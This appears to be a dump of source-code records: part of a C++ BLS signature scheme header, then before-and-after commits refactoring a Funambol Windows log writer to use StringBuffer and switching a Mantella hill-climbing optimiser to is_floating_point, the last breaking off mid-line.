PrivateKey KeyGen(const Bytes& seed);\n\n \/\/ Generates a public key from a secret key\n virtual vector<uint8_t> SkToPk(const PrivateKey &seckey);\n\n virtual G1Element SkToG1(const PrivateKey &seckey);\n\n virtual G2Element Sign(const PrivateKey &seckey, const vector<uint8_t> &message);\n virtual G2Element Sign(const PrivateKey& seckey, const Bytes& message);\n\n virtual bool Verify(const vector<uint8_t> &pubkey,\n const vector<uint8_t> &message,\n const vector<uint8_t> &signature);\n\n virtual bool Verify(const Bytes& pubkey, const Bytes& message, const Bytes& signature);\n\n virtual bool Verify(const G1Element &pubkey,\n const vector<uint8_t> &message,\n const G2Element &signature);\n\n virtual bool Verify(const G1Element& pubkey, const Bytes& message, const G2Element& signature);\n\n virtual vector<uint8_t> Aggregate(const vector<vector<uint8_t>> &signatures);\n virtual vector<uint8_t> Aggregate(const vector<Bytes>& signatures);\n\n virtual G2Element Aggregate(const vector<G2Element> &signatures);\n\n virtual G1Element Aggregate(const vector<G1Element> &publicKeys);\n\n virtual G2Element AggregateSecure(const std::vector<G1Element>& vecPublicKeys,\n const std::vector<G2Element>& vecSignatures,\n const Bytes& message);\n\n virtual bool VerifySecure(const std::vector<G1Element>& vecPublicKeys,\n const G2Element& signature,\n const Bytes& message);\n\n virtual bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature);\n\n virtual bool AggregateVerify(const vector<Bytes>& pubkeys,\n const vector<Bytes>& messages,\n const Bytes& signature);\n\n virtual bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature);\n\n virtual bool AggregateVerify(const vector<G1Element>& pubkeys,\n const vector<Bytes>& messages,\n const G2Element& signature);\n\n PrivateKey DeriveChildSk(const PrivateKey& sk, uint32_t index);\n PrivateKey DeriveChildSkUnhardened(const PrivateKey& sk, uint32_t index);\n G1Element DeriveChildPkUnhardened(const G1Element& sk, uint32_t index);\n\nprotected:\n const std::string& strCiphersuiteId;\n bool NativeVerify(g1_t *pubKeys, g2_t *mappedHashes, size_t length);\n G2Element AggregateSecure(std::vector<G1Element> const &vecPublicKeys,\n std::vector<G2Element> const &vecSignatures,\n const Bytes& message,\n bool fLegacy);\n bool VerifySecure(const std::vector<G1Element>& vecPublicKeys,\n const G2Element& signature,\n const Bytes& message,\n bool fLegacy);\n};\n\nclass BasicSchemeMPL : public CoreMPL {\npublic:\n virtual ~BasicSchemeMPL() {};\n static const std::string CIPHERSUITE_ID;\n BasicSchemeMPL() : CoreMPL(BasicSchemeMPL::CIPHERSUITE_ID) {}\n bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature) override;\n\n bool AggregateVerify(const vector<Bytes>& pubkeys,\n const vector<Bytes>& messages,\n const Bytes& signature) override;\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature) override;\n\n bool AggregateVerify(const vector<G1Element>& pubkeys,\n const vector<Bytes>& messages,\n const G2Element& signature) override;\n};\n\nclass AugSchemeMPL : public CoreMPL {\n\npublic:\n virtual ~AugSchemeMPL() {};\n static const std::string CIPHERSUITE_ID;\n AugSchemeMPL() : CoreMPL(AugSchemeMPL::CIPHERSUITE_ID) {}\n\n G2Element Sign(const PrivateKey &seckey, const vector<uint8_t> &message) override;\n\n G2Element Sign(const PrivateKey& seckey, const Bytes& message) override;\n\n \/\/ Used for prepending different augMessage\n G2Element Sign(const PrivateKey &seckey,\n const vector<uint8_t> &message,\n const G1Element &prepend_pk);\n\n \/\/ Used for prepending different augMessage\n G2Element Sign(const PrivateKey& seckey,\n const Bytes& message,\n const G1Element& prepend_pk);\n\n bool Verify(const vector<uint8_t> &pubkey,\n const vector<uint8_t> &message,\n const vector<uint8_t> &signature) override;\n\n bool Verify(const Bytes& pubkey,\n const Bytes& message,\n const Bytes& signature) override;\n\n bool Verify(const G1Element &pubkey,\n const vector<uint8_t> &message,\n const G2Element &signature) override;\n\n bool Verify(const G1Element& pubkey,\n const Bytes& message,\n const G2Element& signature) override;\n\n bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature) override;\n\n bool AggregateVerify(const vector<Bytes>& pubkeys,\n const vector<Bytes>& messages,\n const Bytes& signature) override;\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature) override;\n\n bool AggregateVerify(const vector<G1Element>& pubkeys,\n const vector<Bytes>& messages,\n const G2Element& signature) override;\n};\n\nclass PopSchemeMPL : public CoreMPL {\n\npublic:\n virtual ~PopSchemeMPL() {};\n static const std::string CIPHERSUITE_ID;\n static const std::string POP_CIPHERSUITE_ID;\n PopSchemeMPL() : CoreMPL(PopSchemeMPL::CIPHERSUITE_ID) {}\n\n G2Element PopProve(const PrivateKey &seckey);\n\n bool PopVerify(const G1Element &pubkey, const G2Element &signature_proof);\n\n bool PopVerify(const vector<uint8_t> &pubkey, const vector<uint8_t> &proof);\n\n bool PopVerify(const Bytes& pubkey, const Bytes& proof);\n\n bool FastAggregateVerify(const vector<G1Element> &pubkeys,\n const vector<uint8_t> &message,\n const G2Element &signature);\n\n bool FastAggregateVerify(const vector<G1Element>& pubkeys,\n const Bytes& message,\n const G2Element& signature);\n\n bool FastAggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<uint8_t> &message,\n const vector<uint8_t> &signature);\n\n bool FastAggregateVerify(const vector<Bytes>& pubkeys,\n const Bytes& message,\n const Bytes& signature);\n};\n\n\/**\n * This scheme reflects the Sign\/Verify behaviour of older bls-signatures library versions (<0.1.29).\n *\/\nclass LegacySchemeMPL : public CoreMPL {\n\npublic:\n virtual ~LegacySchemeMPL() {};\n LegacySchemeMPL() : CoreMPL(std::string{}) {}\n\n virtual vector<uint8_t> SkToPk(const PrivateKey &seckey) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n G2Element Sign(const PrivateKey &seckey, const vector<uint8_t> &message) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n G2Element Sign(const PrivateKey &seckey, const Bytes& message) final;\n\n bool Verify(const vector<uint8_t>& pubkey,\n const vector<uint8_t>& message,\n const vector<uint8_t>& signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool Verify(const G1Element& pubkey,\n const vector<uint8_t>& message,\n const G2Element& signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool Verify(const Bytes& pubkey, const Bytes& message, const Bytes& signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n bool Verify(const G1Element &pubkey, const Bytes& message, const G2Element &signature) final;\n\n virtual vector<uint8_t> Aggregate(const vector<vector<uint8_t>> &signatures) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n G2Element AggregateSecure(const std::vector<G1Element>& vecPublicKeys,\n const std::vector<G2Element>& vecSignatures,\n const Bytes& message) final;\n\n bool VerifySecure(const std::vector<G1Element>& vecPublicKeys,\n const G2Element& signature,\n const Bytes& message) final;\n\n bool AggregateVerify(const vector<vector<uint8_t>> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const vector<uint8_t> &signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool AggregateVerify(const vector<Bytes> &pubkeys,\n const vector<Bytes> &messages,\n const Bytes &signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<vector<uint8_t>> &messages,\n const G2Element &signature) final { throw std::runtime_error(\"Not supported in LegacySchemeMPL\"); }\n\n bool AggregateVerify(const vector<G1Element> &pubkeys,\n const vector<Bytes> &messages,\n const G2Element &signature) final;\n};\n} \/\/ end namespace bls\n\n#endif \/\/ SRC_BLSSCHEMES_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Funambol is a mobile platform developed by Funambol, Inc. \n * Copyright (C) 2003 - 2007 Funambol, Inc.\n * \n * This program is free software; you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License version 3 as published by\n * the Free Software Foundation with the addition of the following permission \n * added to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED\n * WORK IN WHICH THE COPYRIGHT IS OWNED BY FUNAMBOL, FUNAMBOL DISCLAIMS THE \n * WARRANTY OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.\n * \n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more\n * details.\n * \n * You should have received a copy of the GNU Affero General Public License \n * along with this program; if not, see http:\/\/www.gnu.org\/licenses or write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n * MA 02110-1301 USA.\n * \n * You can contact Funambol, Inc. headquarters at 643 Bair Island Road, Suite \n * 305, Redwood City, CA 94063, USA, or at email address info@funambol.com.\n * \n * The interactive user interfaces in modified source and object code versions\n * of this program must display Appropriate Legal Notices, as required under\n * Section 5 of the GNU Affero General Public License version 3.\n * \n * In accordance with Section 7(b) of the GNU Affero General Public License\n * version 3, these Appropriate Legal Notices must retain the display of the\n * \"Powered by Funambol\" logo. If the display of the logo is not reasonably \n * feasible for technical reasons, the Appropriate Legal Notices must display\n * the words \"Powered by Funambol\".\n *\/\n\n\n#include \"base\/winlog.h\"\n#include \"base\/util\/utils.h\"\n\n#ifdef _WIN32_WCE\n#define FUNAMBOL_HEADER \"Funambol Windows Mobile Plug-in Log\"\n#elif WIN32\n#define FUNAMBOL_HEADER \"Funambol Win32 Plug-in Log\"\n#endif\n\n\/\/winLog LOG = winLog(false);\n\nchar logmsg[512];\n\nstatic FILE* logFile = NULL;\nstatic WCHAR wlogDir[512] = TEXT(\"\\\\\");\nstatic char logName[128] = LOG_NAME;\nstatic char logPath[256] = \"\\\\\" ;\n\n\nwinLog::winLog(bool resetLog, const char* path, const char* name) {\n\n setLogPath(path);\n setLogName(name);\n\n \/\/ MUST use a wchar_t* logDir to manage correctly international chars.\n \/\/ If using char* logDir and UTF-8, fopen() is not working correctly and\n \/\/ will fail to open the log file. (with UTF-8... why?)\n \/\/ So we use _wfopen() and a wchar_t* logDir.\n char logDir[512];\n sprintf(logDir, \"%s\\\\%s\", logPath, logName);\n WCHAR* tmp = toWideChar(logDir);\n wcscpy(wlogDir, tmp);\n delete [] tmp;\n\n \/\/\n \/\/ Test to ensure the log file is writable (only if path is set)\n \/\/\n if (path) {\n logFile = _wfopen(wlogDir, TEXT(\"a+\"));\n if (logFile == NULL) {\n WCHAR tmp[512];\n wsprintf(tmp, TEXT(\"Unable to write log file: \\\"%s\\\".\\nPlease check your user's permissions.\"), wlogDir);\n MessageBox(NULL, tmp, TEXT(\"Funambol\"), MB_SETFOREGROUND | MB_OK);\n }\n else {\n fclose(logFile);\n\n if (resetLog) {\n reset(FUNAMBOL_HEADER);\n }\n }\n }\n}\n\n\nwinLog::~winLog() {\n if (logFile != NULL) {\n fclose(logFile);\n }\n}\n\n\nvoid winLog::setLogPath(const char* configLogPath) {\n\n if (configLogPath != NULL) {\n sprintf(logPath, \"%s\", configLogPath);\n } else {\n sprintf(logPath, \".\");\n }\n if (logName ){\n char logDir[512];\n sprintf(logDir, \"%s\\\\%s\", logPath, logName);\n WCHAR* tmp = toWideChar(logDir);\n wcscpy(wlogDir, tmp);\n }\n}\n\nvoid winLog::setLogName(const char* configLogName) {\n\n if (configLogName != NULL) {\n sprintf(logName, \"%s\", configLogName);\n }\n else {\n sprintf(logName, \"%s\", LOG_NAME);\n }\n if (logPath ){\n char logDir[512];\n sprintf(logDir, \"%s\\\\%s\", logPath, logName);\n WCHAR* tmp = toWideChar(logDir);\n wcscpy(wlogDir, tmp);\n }\n}\n\n\/*\n* return a the time to write into log file. If complete is true, it return\n* the date too, else only hours, minutes, seconds and milliseconds\n*\/\nstatic char* createCurrentTime(bool complete) {\n\n SYSTEMTIME sys_time;\n TIME_ZONE_INFORMATION timezone;\n GetLocalTime(&sys_time);\n GetTimeZoneInformation(&timezone);\n\n char fmtComplete[] = \"%04d-%02d-%02d %02d:%02d:%02d GMT %c%d:%02d\";\n char fmt[] = \"%02d:%02d:%02d GMT %c%d:%02d\";\n\n char* ret = new char [64];\n\n \/\/ calculate offset from UTC\/GMT in hours:min, positive value\n \/\/ means east of Greenwich (e.g. CET = GMT +1)\n\n char direction = timezone.Bias <= 0 ? '+' : '-';\n int hours = abs(timezone.Bias \/ 60) ;\n int minutes = abs(timezone.Bias % 60);\n\n if (complete) {\n sprintf(ret, fmtComplete, sys_time.wYear, sys_time.wMonth, sys_time.wDay,\n sys_time.wHour, sys_time.wMinute, sys_time.wSecond,\n direction, hours, minutes);\n } else {\n sprintf(ret, fmt, sys_time.wHour, sys_time.wMinute, sys_time.wSecond,\n direction, hours, minutes);\n }\n return ret;\n}\n\n\n\n\nvoid winLog::error(const char* msg, ...) {\n va_list argList;\n va_start (argList, msg);\n printMessage(LOG_ERROR, msg, argList);\n va_end(argList);\n}\n\nvoid winLog::info(const char* msg, ...) {\n if (isLoggable(LOG_LEVEL_INFO)) {\n va_list argList;\n\t va_start (argList, msg);\n printMessage(LOG_INFO, msg, argList);\n\t va_end(argList);\n\n }\n}\n\nvoid winLog::debug(const char* msg, ...) {\n if (isLoggable(LOG_LEVEL_DEBUG)) {\n\t va_list argList;\n va_start (argList, msg);\n printMessage(LOG_DEBUG, msg, argList);\n va_end(argList);\n\n }\n}\n\nvoid winLog::developer(const char* msg, ...) {\n if (isLoggable(LOG_LEVEL_INFO)) {\n va_list argList;\n va_start (argList, msg);\n printMessage(LOG_DEBUG, msg, argList);\n va_end(argList);\n }\n}\n\n\nvoid winLog::printMessage(const char* level, const char* msg, va_list argList) {\n\n\tchar* currentTime = createCurrentTime(false);\n logFile = _wfopen(wlogDir, TEXT(\"a+\"));\n if (logFile) {\n\t fprintf(logFile, \"%s [%s] - \", currentTime, level);\n vfprintf(logFile, msg, argList);\n\t fprintf(logFile, \"\\n\");\n\t fclose(logFile);\n }\n delete[] currentTime;\n}\n\nvoid winLog::reset(const char* title) {\n const char *t = (title) ? title : FUNAMBOL_HEADER;\n\n char* currentTime = createCurrentTime(true);\n logFile = _wfopen(wlogDir, TEXT(\"w+\"));\n if (logFile) {\n fprintf(logFile, \"%s - # %s\\n\\n\", currentTime, t);\n fclose(logFile);\n }\n delete[] currentTime;\n}\n\n\nsize_t winLog::getLogSize() {\n size_t ret = 0;\n\n logFile = _wfopen(wlogDir, TEXT(\"r\"));\n if (logFile) {\n ret = fgetsize(logFile);\n fclose(logFile);\n }\n return ret;\n}\n\nLog *Log::logger;\n\nLog &Log::instance() {\n if (!logger) {\n logger = new winLog();\n }\n return *logger;\n}\n<commit_msg>removed char[] in log.cpp, using StringBuffer<commit_after>\/*\n * Funambol is a mobile platform developed by Funambol, Inc. \n * Copyright (C) 2003 - 2007 Funambol, Inc.\n * \n * This program is free software; you can redistribute it and\/or modify it under\n * the terms of the GNU Affero General Public License version 3 as published by\n * the Free Software Foundation with the addition of the following permission \n * added to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED\n * WORK IN WHICH THE COPYRIGHT IS OWNED BY FUNAMBOL, FUNAMBOL DISCLAIMS THE \n * WARRANTY OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.\n * \n * This program is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more\n * details.\n * \n * You should have received a copy of the GNU Affero General Public License \n * along with this program; if not, see http:\/\/www.gnu.org\/licenses or write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n * MA 02110-1301 USA.\n * \n * You can contact Funambol, Inc. headquarters at 643 Bair Island Road, Suite \n * 305, Redwood City, CA 94063, USA, or at email address info@funambol.com.\n * \n * The interactive user interfaces in modified source and object code versions\n * of this program must display Appropriate Legal Notices, as required under\n * Section 5 of the GNU Affero General Public License version 3.\n * \n * In accordance with Section 7(b) of the GNU Affero General Public License\n * version 3, these Appropriate Legal Notices must retain the display of the\n * \"Powered by Funambol\" logo. If the display of the logo is not reasonably \n * feasible for technical reasons, the Appropriate Legal Notices must display\n * the words \"Powered by Funambol\".\n *\/\n\n\n#include \"base\/winlog.h\"\n#include \"base\/util\/utils.h\"\n#include \"base\/util\/StringBuffer.h\"\n#include \"base\/util\/WString.h\"\n\n#ifdef _WIN32_WCE\n#define FUNAMBOL_HEADER \"Funambol Windows Mobile Plug-in Log\"\n#elif WIN32\n#define FUNAMBOL_HEADER \"Funambol Win32 Plug-in Log\"\n#endif\n\n\nstatic FILE* logFile = NULL;\n\nstatic WString wlogDir(TEXT(\"\\\\\"));\nstatic StringBuffer logName(LOG_NAME);\nstatic StringBuffer logPath(\"\\\\\");\n\n\nwinLog::winLog(bool resetLog, const char* path, const char* name) {\n\n setLogPath(path);\n setLogName(name);\n\n \/\/ MUST use a wchar_t* logDir to manage correctly international chars.\n \/\/ If using char* logDir and UTF-8, fopen() is not working correctly and\n \/\/ will fail to open the log file. (with UTF-8... why?)\n \/\/ So we use _wfopen() and a wchar_t* logDir.\n StringBuffer logDir;\n logDir.sprintf(\"%s\\\\%s\", logPath.c_str(), logName.c_str());\n WCHAR* tmp = toWideChar(logDir.c_str());\n wlogDir = tmp;\n delete [] tmp;\n\n \/\/\n \/\/ Test to ensure the log file is writable (only if path is set)\n \/\/\n if (path) {\n logFile = _wfopen(wlogDir.c_str(), TEXT(\"a+\"));\n if (logFile == NULL) {\n WCHAR tmp[512];\n wsprintf(tmp, TEXT(\"Unable to write log file: \\\"%s\\\".\\nPlease check your user's permissions.\"), wlogDir.c_str());\n MessageBox(NULL, tmp, TEXT(\"Funambol\"), MB_SETFOREGROUND | MB_OK);\n }\n else {\n fclose(logFile);\n\n if (resetLog) {\n reset(FUNAMBOL_HEADER);\n }\n }\n }\n}\n\n\nwinLog::~winLog() {\n if (logFile != NULL) {\n fclose(logFile);\n }\n}\n\n\nvoid winLog::setLogPath(const char* configLogPath) {\n\n if (configLogPath != NULL) {\n logPath = configLogPath;\n } else {\n logPath = \".\";\n }\n if (logName.length() > 0){\n StringBuffer logDir;\n logDir.sprintf(\"%s\\\\%s\", logPath.c_str(), logName.c_str());\n WCHAR* tmp = toWideChar(logDir.c_str());\n wlogDir = tmp;\n delete [] tmp;\n }\n}\n\nvoid winLog::setLogName(const char* configLogName) {\n\n if (configLogName != NULL) {\n logName = configLogName;\n }\n else {\n logName = LOG_NAME;\n }\n if (logPath){\n StringBuffer logDir;\n logDir.sprintf(\"%s\\\\%s\", logPath.c_str(), logName.c_str());\n WCHAR* tmp = toWideChar(logDir.c_str());\n wlogDir = tmp;\n delete [] tmp;\n }\n}\n\n\/*\n* return a the time to write into log file. If complete is true, it return\n* the date too, else only hours, minutes, seconds and milliseconds\n*\/\nstatic StringBuffer createCurrentTime(bool complete) {\n\n SYSTEMTIME sys_time;\n TIME_ZONE_INFORMATION timezone;\n GetLocalTime(&sys_time);\n GetTimeZoneInformation(&timezone);\n\n StringBuffer ret;\n\n \/\/ calculate offset from UTC\/GMT in hours:min, positive value\n \/\/ means east of Greenwich (e.g. CET = GMT +1)\n char direction = timezone.Bias <= 0 ? '+' : '-';\n int hours = abs(timezone.Bias \/ 60) ;\n int minutes = abs(timezone.Bias % 60);\n\n if (complete) {\n char fmtComplete[] = \"%04d-%02d-%02d %02d:%02d:%02d GMT %c%d:%02d\";\n ret.sprintf(fmtComplete, sys_time.wYear, sys_time.wMonth, sys_time.wDay,\n sys_time.wHour, sys_time.wMinute, sys_time.wSecond,\n direction, hours, minutes);\n } \n else {\n char fmt[] = \"%02d:%02d:%02d GMT %c%d:%02d\";\n ret.sprintf(fmt, sys_time.wHour, sys_time.wMinute, sys_time.wSecond,\n direction, hours, minutes);\n }\n return ret;\n}\n\n\n\n\nvoid winLog::error(const char* msg, ...) {\n va_list argList;\n va_start (argList, msg);\n printMessage(LOG_ERROR, msg, argList);\n va_end(argList);\n}\n\nvoid winLog::info(const char* msg, ...) {\n if (isLoggable(LOG_LEVEL_INFO)) {\n va_list argList;\n\t va_start (argList, msg);\n printMessage(LOG_INFO, msg, argList);\n\t va_end(argList);\n }\n}\n\nvoid winLog::debug(const char* msg, ...) {\n if (isLoggable(LOG_LEVEL_DEBUG)) {\n\t va_list argList;\n va_start (argList, msg);\n printMessage(LOG_DEBUG, msg, argList);\n va_end(argList);\n }\n}\n\nvoid winLog::developer(const char* msg, ...) {\n if (isLoggable(LOG_LEVEL_INFO)) {\n va_list argList;\n va_start (argList, msg);\n printMessage(LOG_DEBUG, msg, argList);\n va_end(argList);\n }\n}\n\n\nvoid winLog::printMessage(const char* level, const char* msg, va_list argList) {\n\n\tStringBuffer currentTime = createCurrentTime(false);\n logFile = _wfopen(wlogDir.c_str(), TEXT(\"a+\"));\n if (logFile) {\n fprintf(logFile, \"%s [%s] - \", currentTime.c_str(), level);\n vfprintf(logFile, msg, argList);\n\t fprintf(logFile, \"\\n\");\n\t fclose(logFile);\n }\n}\n\nvoid winLog::reset(const char* title) {\n const char *t = (title) ? title : FUNAMBOL_HEADER;\n\n StringBuffer currentTime = createCurrentTime(true);\n logFile = _wfopen(wlogDir.c_str(), TEXT(\"w+\"));\n if (logFile) {\n fprintf(logFile, \"%s - # %s\\n\\n\", currentTime.c_str(), t);\n fclose(logFile);\n }\n}\n\n\nsize_t winLog::getLogSize() {\n size_t ret = 0;\n\n logFile = _wfopen(wlogDir.c_str(), TEXT(\"r\"));\n if (logFile) {\n ret = fgetsize(logFile);\n fclose(logFile);\n }\n return ret;\n}\n\nLog *Log::logger;\n\nLog &Log::instance() {\n if (!logger) {\n logger = new winLog();\n }\n return *logger;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>refactoring<commit_after><|endoftext|>"} {"text":"<commit_before>#pragma once\n\n\/\/ Mantella\n#include <mantella_bits\/optimisationAlgorithm\/trajectoryBasedAlgorithm.hpp>\n\nnamespace mant {\n template <typename ParameterType, class DistanceFunction>\n class HillClimbing : public TrajectoryBasedAlgorithm<ParameterType, DistanceFunction> {\n public:\n explicit HillClimbing(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem) noexcept;\n\n HillClimbing(const HillClimbing&) = delete;\n HillClimbing& operator=(const HillClimbing&) = delete;\n\n void setMaximalStepSize(\n const arma::Col<ParameterType>& maximalStepSize);\n\n std::string to_string() const noexcept override;\n\n protected:\n arma::Col<ParameterType> maximalStepSize_;\n\n void optimiseImplementation() noexcept override;\n\n private:\n void setDefaultMaximalStepSize(std::true_type) noexcept;\n void setDefaultMaximalStepSize(std::false_type) noexcept;\n };\n\n template <typename ParameterType, class DistanceFunction>\n HillClimbing<ParameterType, DistanceFunction>::HillClimbing(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem) noexcept\n : TrajectoryBasedAlgorithm<ParameterType, DistanceFunction>(optimisationProblem) {\n setDefaultMaximalStepSize(std::is_same<ParameterType, double>());\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::optimiseImplementation() noexcept {\n ++this->numberOfIterations_;\n\n this->bestParameter_ = this->initialParameter_;\n this->bestSoftConstraintsValue_ = this->optimisationProblem_->getSoftConstraintsValue(this->initialParameter_);\n this->bestObjectiveValue_ = this->optimisationProblem_->getObjectiveValue(this->initialParameter_);\n\n while(!this->isFinished() && !this->isTerminated()) {\n ++this->numberOfIterations_;\n\n arma::Col<ParameterType> candidateParameter = this->distanceFunction_.getNeighbour(this->bestParameter_, arma::zeros<arma::Col<double>>(this->optimisationProblem_->getNumberOfDimensions), maximalStepSize_);\n\n const arma::Col<unsigned int>& belowLowerBound = arma::find(candidateParameter < this->optimisationProblem_->getLowerBounds());\n const arma::Col<unsigned int>& aboveUpperBound = arma::find(candidateParameter > this->optimisationProblem_->getUpperBounds());\n\n candidateParameter.elem(belowLowerBound) = this->optimisationProblem_->getLowerBounds().elem(belowLowerBound);\n candidateParameter.elem(aboveUpperBound) = this->optimisationProblem_->getUpperBounds().elem(aboveUpperBound);\n\n const double& candidateSoftConstraintsValue = this->optimisationProblem_->getSoftConstraintsValue(candidateParameter);\n const double& candidateObjectiveValue = this->optimisationProblem_->getObjectiveValue(candidateParameter);\n\n if(candidateSoftConstraintsValue < this->bestSoftConstraintsValue_ || (candidateSoftConstraintsValue == this->bestSoftConstraintsValue_ && candidateObjectiveValue < this->bestObjectiveValue_)) {\n this->bestParameter_ = candidateParameter;\n this->bestSoftConstraintsValue_ = candidateSoftConstraintsValue;\n this->bestObjectiveValue_ = candidateObjectiveValue;\n }\n }\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::setMaximalStepSize(\n const arma::Col<ParameterType>& maximalStepSize) {\n if(maximalStepSize.n_rows != this->optimisationProblem_->getNumberOfDimensions()) {\n throw std::logic_error(\"The number of dimensions of the maximal step size (\" + std::to_string(maximalStepSize.n_elem) + \") must match the number of dimensions of the optimisation problem (\" + std::to_string(this->optimisationProblem_->getNumberOfDimensions()) + \").\");\n } else if (arma::any(maximalStepSize <= 0)) {\n throw std::logic_error(\"The maximal step size must be strict greater than 0.\");\n }\n\n maximalStepSize_ = maximalStepSize;\n }\n\n template <typename ParameterType, class DistanceFunction>\n std::string HillClimbing<ParameterType, DistanceFunction>::to_string() const noexcept {\n return \"HillClimbing\";\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::setDefaultMaximalStepSize(\n std::true_type) noexcept {\n setMaximalStepSize(this->distanceFunction_.getDistance(this->optimisationProblem_->getLowerBounds(), this->optimisationProblem_->getUpperBounds()) \/ 10.0);\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::setDefaultMaximalStepSize(\n std::false_type) noexcept {\n setMaximalStepSize(arma::max(arma::ones<arma::Col<unsigned int>>(this->optimisationProblem_->getNumberOfDimensions()), this->distanceFunction_.getDistance(this->optimisationProblem_->getLowerBounds(), this->optimisationProblem_->getUpperBounds()) \/ 10.0));\n }\n}\n<commit_msg>devel: Use more precise is_floating_point<commit_after>#pragma once\n\n\/\/ Mantella\n#include <mantella_bits\/optimisationAlgorithm\/trajectoryBasedAlgorithm.hpp>\n\nnamespace mant {\n template <typename ParameterType, class DistanceFunction>\n class HillClimbing : public TrajectoryBasedAlgorithm<ParameterType, DistanceFunction> {\n public:\n explicit HillClimbing(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem) noexcept;\n\n HillClimbing(const HillClimbing&) = delete;\n HillClimbing& operator=(const HillClimbing&) = delete;\n\n void setMaximalStepSize(\n const arma::Col<ParameterType>& maximalStepSize);\n\n std::string to_string() const noexcept override;\n\n protected:\n arma::Col<ParameterType> maximalStepSize_;\n\n void optimiseImplementation() noexcept override;\n\n private:\n void setDefaultMaximalStepSize(std::true_type) noexcept;\n void setDefaultMaximalStepSize(std::false_type) noexcept;\n };\n\n template <typename ParameterType, class DistanceFunction>\n HillClimbing<ParameterType, DistanceFunction>::HillClimbing(\n const std::shared_ptr<OptimisationProblem<ParameterType>> optimisationProblem) noexcept\n : TrajectoryBasedAlgorithm<ParameterType, DistanceFunction>(optimisationProblem) {\n setDefaultMaximalStepSize(std::is_floating_point<ParameterType>());\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::optimiseImplementation() noexcept {\n ++this->numberOfIterations_;\n\n this->bestParameter_ = this->initialParameter_;\n this->bestSoftConstraintsValue_ = this->optimisationProblem_->getSoftConstraintsValue(this->initialParameter_);\n this->bestObjectiveValue_ = this->optimisationProblem_->getObjectiveValue(this->initialParameter_);\n\n while(!this->isFinished() && !this->isTerminated()) {\n ++this->numberOfIterations_;\n\n arma::Col<ParameterType> candidateParameter = this->distanceFunction_.getNeighbour(this->bestParameter_, arma::zeros<arma::Col<double>>(this->optimisationProblem_->getNumberOfDimensions), maximalStepSize_);\n\n const arma::Col<unsigned int>& belowLowerBound = arma::find(candidateParameter < this->optimisationProblem_->getLowerBounds());\n const arma::Col<unsigned int>& aboveUpperBound = arma::find(candidateParameter > this->optimisationProblem_->getUpperBounds());\n\n candidateParameter.elem(belowLowerBound) = this->optimisationProblem_->getLowerBounds().elem(belowLowerBound);\n candidateParameter.elem(aboveUpperBound) = this->optimisationProblem_->getUpperBounds().elem(aboveUpperBound);\n\n const double& candidateSoftConstraintsValue = this->optimisationProblem_->getSoftConstraintsValue(candidateParameter);\n const double& candidateObjectiveValue = this->optimisationProblem_->getObjectiveValue(candidateParameter);\n\n if(candidateSoftConstraintsValue < this->bestSoftConstraintsValue_ || (candidateSoftConstraintsValue == this->bestSoftConstraintsValue_ && candidateObjectiveValue < this->bestObjectiveValue_)) {\n this->bestParameter_ = candidateParameter;\n this->bestSoftConstraintsValue_ = candidateSoftConstraintsValue;\n this->bestObjectiveValue_ = candidateObjectiveValue;\n }\n }\n }\n\n template <typename ParameterType, class DistanceFunction>\n void HillClimbing<ParameterType, DistanceFunction>::setMaximalStepSize(\n const arma::Col<ParameterType>& maximalStepSize) {\n if(maximalStepSize.n_rows != this->optimisationProblem_->getNumberOfDimensions()) {\n throw std::logic_error(\"The number of dimensions of the maximal step size (\" + std::to_string(maximalStepSize.n_elem) + \") must match the number of dimensions of the optimisation problem (\" + 